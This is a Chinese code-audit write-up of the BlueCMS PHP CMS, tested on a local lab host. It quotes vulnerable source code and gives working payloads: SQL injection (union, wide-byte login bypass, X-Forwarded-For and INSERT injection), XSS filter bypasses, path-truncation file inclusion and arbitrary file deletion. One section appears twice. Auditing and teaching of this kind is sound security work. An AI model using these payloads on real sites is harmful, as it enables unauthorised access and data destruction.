bluecmsphp代码审计

bluecms代码审计

() 运行环境需求:
可用的 httpd 服务器(如 Apache、Zeus、IIS 等) 
PHP 4.3.0 及以上 
MySQL 4.1 及以上

配置文件审计

看到uploads/install/include/common.inc.php

当然我们可能自己根本不知道那个是重要的文件,可以看到

大多数文件都有这样的代码

/include/common.inc.php

我们看到这个文件的重点

if(!get_magic_quotes_gpc())
{$_POST = install_deep_addslashes($_POST);$_GET = install_deep_addslashes($_GET);$_COOKIES = install_deep_addslashes($_COOKIES);$_REQUEST = install_deep_addslashes($_REQUEST);
}

看到deep_addslashes()函数

function deep_addslashes($str)
{if(is_array($str)){foreach($str as $key=>$val){$str[$key] = deep_addslashes($val);}}else{$str = addslashes($str);}return $str;
}

可以看到做了转义的处理,让sql注入变得困难,不过我们数字型或者宽字节的注入还是可以实现的

而且漏了$_SERVER

sql注入漏洞

/ad_js.php

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{echo 'Error!';exit();
}$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

可以看到我们的id是可以控制的,而且没有单引号包裹,可以使用我们的联合查询

?ad_id=1 union select 1,2,3,4,5,6,7

回显需要看源码才能看到,自己不想再回去截图了,使用别人的

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

证明有漏洞后直接sqlmap了

/admin/nav.php

这个就需要登录到后台了

elseif($act=='edit'){$sql = "select * from ".table('navigate')." where navid = ".$_GET['navid'];$nav = $db->getone($sql);$smarty->assign('nav',$nav);$smarty->assign('act', $act );$smarty->display('nav_info.htm');}

可以看见也是直接的拼接

还是一样的

/user.php

在登录界面

POST /uploads/user.php?act=index_login HTTP/1.1
Host: bluecms:8907
Content-Length: 44
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bluecms:8907
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://bluecms:8907/uploads/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: detail=4; PHPSESSID=qpooug10oc67sav4ckcrrj5uj2
Connection: keep-aliveuser_name=ljlljl&pwd=%df') or 1=1#&x=32&y=13

使用宽字节注入就可以成功的使用万能密码登录

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

X-Forwarded-For头注入

在我们的评论页面

image-20240805225243600

对应的代码部分

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";$db->query($sql);

可以看到还会把我们的IP给放入,看一下getip函数

function getip()
{if (getenv('HTTP_CLIENT_IP')){$ip = getenv('HTTP_CLIENT_IP'); }elseif (getenv('HTTP_X_FORWARDED_FOR')) { //获取客户端用代理服务器访问时的真实ip 地址$ip = getenv('HTTP_X_FORWARDED_FOR');}elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED');}elseif (getenv('HTTP_FORWARDED_FOR')){$ip = getenv('HTTP_FORWARDED_FOR'); }elseif (getenv('HTTP_FORWARDED')){$ip = getenv('HTTP_FORWARDED');}else{ $ip = $_SERVER['REMOTE_ADDR'];}return $ip;
}

我们可伪造X_FORWARDED_FOR头进行注入

image-20240805225759566

然后我们还可以全局搜索这个getip函数在哪里调用还能找到其他的地方

比如

$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";

然后追踪到$online_ip = getip();

INSERT SQL注入

http://bluecms:8907/uploads/user.php?act=reg 我们看到代码部分

$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";

可以看到是有5个数据的,我们先是闭合我们的单引号,然后还需要插入3个数据

然后闭合好了之后,自己再来5个数据

%df',1,1),(1,nn0nkey,md5(123456),(select database()),1,1) #

sql语句就是这样的

"INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '%df',1,1),(88,1223,md5(123456),(select database()),1,1) )";

其他的

其实有很多不可以的地方这里也说一下,首先是我们只能找数字型了,或者报错注入也可以,但是这个代码没有输出报错的信息,一些数字型注入的输入都是被intval函数修饰了的,刚刚的两个都是没有被修饰的

XSS漏洞

ad_js.php

这里也存在我们的xss漏洞,看到源码

echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

最后是会把我们的查询结果输出的,而我们经过尝试,如果出错的结果页面上是这样的

ErrorQuery error:SELECT * FROM blue_ad WHERE ad_id =1 union select 1,2,3,4,5,6

可以看到是把我们的输入部分展示在了页面上,尝试xss

image-20240805180131425

/user.php

act=edit_user_info

这个是我们如果注册了之后登录,就会来到这个代码,他根据我们act参数输入的不同来实现不同的功能

在编辑个人资料界面

image-20240805180615357

对应的代码

$birthday = trim($_POST['birthday']);$sex = intval($_POST['sex']);$email = !empty($_POST['email']) ? trim($_POST['email']) : '';$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';$home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

可以看见我们的一些输入是没有过滤的,比如邮箱

然后编辑过后会来到

 elseif($act == 'my_info'){$sql = "SELECT * FROM ".table('user')." WHERE user_id=".intval($_SESSION['user_id']);$user = $db->getone($sql);if($user['user_id'] != $_SESSION['user_id']){return false;}template_assign(array('act', 'user', 'bot_nav', 'current_act'), array($act, $user, $bot_nav, '会员个人资料'));$smarty->display('user.htm');}

会展示我的htm文件造成xssv2-914f3e0908bea65ceead17d53b71ccdc_720w.png

v2-aa796a72d198a44926fc9d935b37d6ab_720w.png

act=do_add_news

image-20240805180941467

代码部分

$image = new upload();$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';$color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';$cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';if(empty($cid)){showmsg('新闻分类不能为空');}$author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];$source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){$lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');

可以看到大部分都是过滤了的,但是

评论的内容采用filter_data()函数过滤
追踪filter_data()函数,位于common.fun.php

function filter_data($str)
{$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);return $str;
}

这个绕过的方法很多,

<p><img src=1 onerror=alert(1)></p>

文件包含

elseif ($act == 'pay'){include 'data/pay.cache.php';$price = $_POST['price'];$id = $_POST['id'];$name = $_POST['name'];if (empty($_POST['pay'])) {showmsg('对不起,您没有选择支付方式');}include 'include/payment/'.$_POST['pay']."/index.php";}

这个只能在低版本实现,可以看到是前面和后面都有限制的

可以使用../进行目录遍历,后面的/index.php如果php版本低于5.3.4magic_quotes_gpc=off则可以使用%00截断,导致任意文件包含。

还可以使用.号路径长度截断,Windows下目录最大长度为256字节,Linux下目录最大长度为4096字节

pay=/../../robots.txt........................................................... ................................................................................ ................................................................................ ................................................................................ ................................................................................ ......

任意文件删除

/user.php

首先要清楚删除文件的函数,当然我们一般使用工具就ok了

image-20240805221904724

然后我们看到

elseif($act == 'edit_user_info'){$user_id = intval($_SESSION['user_id']);if(empty($user_id)){return false;}$birthday = trim($_POST['birthday']);$sex = intval($_POST['sex']);$email = !empty($_POST['email']) ? trim($_POST['email']) : '';$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';$home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';if (!empty($_POST['face_pic1'])){if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){showmsg('只支持本站相对路径地址');}else{$face_pic = trim($_POST['face_pic1']);}}else{if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){@unlink(BLUE_ROOT.$_POST['face_pic3']);}}

重点是最后一段,如果我们的face_pic1和face_pic2不存在的话,就去判断文件里面是否有face_pic3,如果有就删除,没有任何限制的

还可以目录穿越,是在我们修改用户信息的界面,bp抓个包,我删除了无关的部分image-20240805222233218

只需要传入我们想要删除的文件就好了

然后还有一个比较简单的

elseif($act == 'del_pic'){$id = $_REQUEST['id'];$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");if(file_exists(BLUE_ROOT.$id)){@unlink(BLUE_ROOT.$id);}}

重点是最后一段,如果我们的face_pic1和face_pic2不存在的话,就去判断文件里面是否有face_pic3,如果有就删除,没有任何限制的

还可以目录穿越,是在我们修改用户信息的界面,bp抓个包,我删除了无关的部分[外链图片转存中…(img-BhB59qi7-1723698503189)]

只需要传入我们想要删除的文件就好了

然后还有一个比较简单的

elseif($act == 'del_pic'){$id = $_REQUEST['id'];$db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");if(file_exists(BLUE_ROOT.$id)){@unlink(BLUE_ROOT.$id);}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/400924.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++《类和对象》(上)

在之前的C入门基础知识中我们了解了C的发展过程已经重要性&#xff0c;还初步了解了C中一些相比C语言特有的知识点&#xff0c;例如命名空间、缺少参数、函数重载、引用等&#xff0c;接下来在本篇中我们将开始C整个体系中非常重要的一个知识章节——类和对象&#xff0c;类和对…

Unity新输入系统 之 InputActions(输入配置文件)

本文仅作笔记学习和分享&#xff0c;不用做任何商业用途 本文包括但不限于unity官方手册&#xff0c;unity唐老狮等教程知识&#xff0c;如有不足还请斧正​ 首先你应该了解新输入系统的基本单位Unity新输入系统 之 InputAction&#xff08;输入配置文件最基本的单位&#xff0…

React 学习——react项目中加入echarts图

实现的代码如下&#xff1a; import * as echarts from echarts import { useEffect, useRef } from react; const Home ()>{const chartRef useRef(null);useEffect(()>{// const chartDom document.getElementById(main);//使用id获取节点const chartDom chartRef…

【区块链+乡村振兴】“蜜链盟”乡村振兴基层治理数字化平台 | FISCO BCOS应用案例

在国家战略政策推动和新一代信息化发展应用的合力之下&#xff0c;数字乡村是互联网化、信息化和数字化在农业农村经 济社会发展中的表现。为进一步加强乡村基层治理&#xff0c;根据《中共海南省委农村工作领导小组办公室海南省农业农 村厅关于在我省乡村治理中推广运用积分制…

用exceljs和file-saver插件实现纯前端表格导出Excel(支持样式配置,多级表头)

exceljs在Jquery&#xff08;HTML&#xff09;和vue项目中实现导出功能 前言Jquery&#xff08;HTML&#xff09;中实现导出第一步&#xff0c;先在项目本地中导入exceljs和file-saver包第二步&#xff0c;封装导出Excel方法&#xff08;可直接复制粘贴使用&#xff09;第三步&…

Java 实现 B树(通俗易懂)

目录 一.概念 二.节点定义 三.插入操作 1.查找位置 2.插入 3.分裂 四.B树和B*树 1.B树 2.B*树 一.概念 B树是一颗多叉平衡树&#xff0c;空树也是多叉平衡树。 一颗M阶的B树要满足以下条件&#xff1a; 1.根节点至少有两个孩子&#xff1b; 2.每个非根节点至少有(上…

机械学习—零基础学习日志(如何理解线性代数2)

零基础为了学人工智能&#xff0c;正在快乐学习&#xff0c;每天都长脑子 引言 在平面中&#xff0c;直线的定义可以理解为&#xff0c;任意缩放同一个平面向量得到所有点的集合。 所以要得到一个三维空间中的直线&#xff0c;只需要将这个向量改成三维向量即可。 什么是线…

uniapp加载第三方字体方案对比(附原生微信小程序方案)

文章目录 官方文档uniapp文档微信小程序文档 下载字体包引入方案限制微信小程序限制uniapp的限制 方案对比方案1&#xff1a;CSS本地加载方案2&#xff1a;CSS远程加载方案3&#xff1a;转换为base64&#xff0c;然后通过css引入方案4&#xff1a;使用uni.loadFontFace() 页面使…

(Jmeter、Fiddler)脚本转换Loadrunner脚本

背景&#xff1a;公司政治任务、各种体系文档要留档&#xff0c;但有些不在体系内的工具生成的脚本需要转化到体系内以备留档。 一、Loadrunner代理设置 开始录制配置&#xff1a; Record->Remote Application via LoadRunner Proxy LoadRrunner Proxy listens on port-…

米联客-FPGA程序设计Verilog语法入门篇连载-19 Verilog语法_低功耗设计

软件版本&#xff1a;无 操作系统&#xff1a;WIN10 64bit 硬件平台&#xff1a;适用所有系列FPGA 板卡获取平台&#xff1a;https://milianke.tmall.com/ 登录“米联客”FPGA社区 http://www.uisrc.com 视频课程、答疑解惑&#xff01; 1概述 本小节讲解Verilog语法的低功…

Spark MLlib 特征工程(下)

Spark MLlib 特征工程(下) 前面我们提到&#xff0c;典型的特征工程包含如下几个环节&#xff0c;即预处理、特征选择、归一化、离散化、Embedding 和向量计算&#xff0c;如下图所示。 在上一讲&#xff0c;我们着重讲解了其中的前 3 个环节&#xff0c;也就是预处理、特征选…

java---概念

一.配置环境&#xff08;三个变量&#xff09; 1.JAVA_HOME&#xff08;记录Java安装文件的路径&#xff09; 2.PATH&#xff08;系统直找的路径&#xff09; 3.CLASSPATH&#xff08;Java程序路径&#xff09; .;%JAVA_HOME%\lib 二.第一个Java程序 源代码&#xff1a; so…

使用kimi快速完成论文仿写的提示词,我帮你总结好了

学境思源&#xff0c;一键生成论文初稿&#xff1a; AcademicIdeas - 学境思源AI论文写作 在完成论文写作时&#xff0c;很多人都会想到“仿写”&#xff0c;但正确的做法是借鉴而非复制。今天我们将分享如何利用Kimi智能助手来提高论文写作的效率和质量&#xff0c;同时确保原…

Kubernetes快速入门

一、容器集群管理概述 1.1背景概述 容器技术的诞生虽解决了应用打包和发布的难题&#xff0c;但单一的容器技术工具并无 法支持起生产级大规模容器部署的场景。针对这一场景&#xff0c;容器管理与编排成为了容器技术发展的关键。Kubernetes 便是在这样的大背景下诞生的。 1.2…

【博客23】缤果Android_XXX调试助手模板(3款)V1.0(中级篇)

超级好用的Android_XXX调试助手模板 ( Android Studio Java) 备注: 仅模板无通信协议 开发工具: android-studio-2024.1.1.12-windows.exe 目录 一、软件概要&#xff1a; 二、软件界面&#xff1a; 1.App演示 2.其他扩展展示 2.1 自定义指令集 2.2 修改自定义指令集 …

IAM 编程访问和 AWS CLI

添加图片注释&#xff0c;不超过 140 字&#xff08;可选&#xff09; IAM 编程访问&#xff08;欢迎来到雲闪世界。&#xff09; IAM 编程访问是指使用访问密钥通过 API 和命令行工具访问 AWS 服务和资源。 当您为 IAM 用户启用编程访问时&#xff0c;您将生成可用于验证和…

Java-自定义注解中成员变量是Class<?>

在Java中,自定义注解可以包含各种类型的成员变量,包括 Class<?> 类型。这种类型的成员变量 通常用于表示某个类的类型信息。下面我将详细介绍如何定义一个包含 Class<?> 类型成员变量的 自定义注解,并给出一些示例代码。 1. 定义自定义注解 定义一个自定义…

行业大模型:信用评分大模型、生产优化大模型、库存管理大模型、物流行业大模型、零售行业大模型

金融行业大模型&#xff1a;信用评分大模型 信用评分模型在金融行业中扮演着至关重要的角色&#xff0c;它通过对个人或企业的信用状况进行评估&#xff0c;帮助金融机构有效控制风险&#xff0c;提高业务效率。以下是信用评分模型的特点及案例介绍&#xff1a; 信用评分模型…

高阶数据结构——B树

1. 常见的搜索结构 以上结构适合用于数据量相对不是很大&#xff0c;能够一次性存放在内存中&#xff0c;进行数据查找的场景。如果数据量很大&#xff0c;比如有100G数据&#xff0c;无法一次放进内存中&#xff0c;那就只能放在磁盘上了&#xff0c;如果放在磁盘上&#xff0…

[Unity]在场景中随机生成不同位置且不重叠的物体

1.前言 最近任务需要用到Unity在场景中随机生成物体&#xff0c;且这些物体不能重叠&#xff0c;简单记录一下。 参考资料:How to ensure that spawned targets do not overlap ? 2.结果与代码 结果如下所示&#xff1a; 代码如下所示&#xff1a; using System.Collec…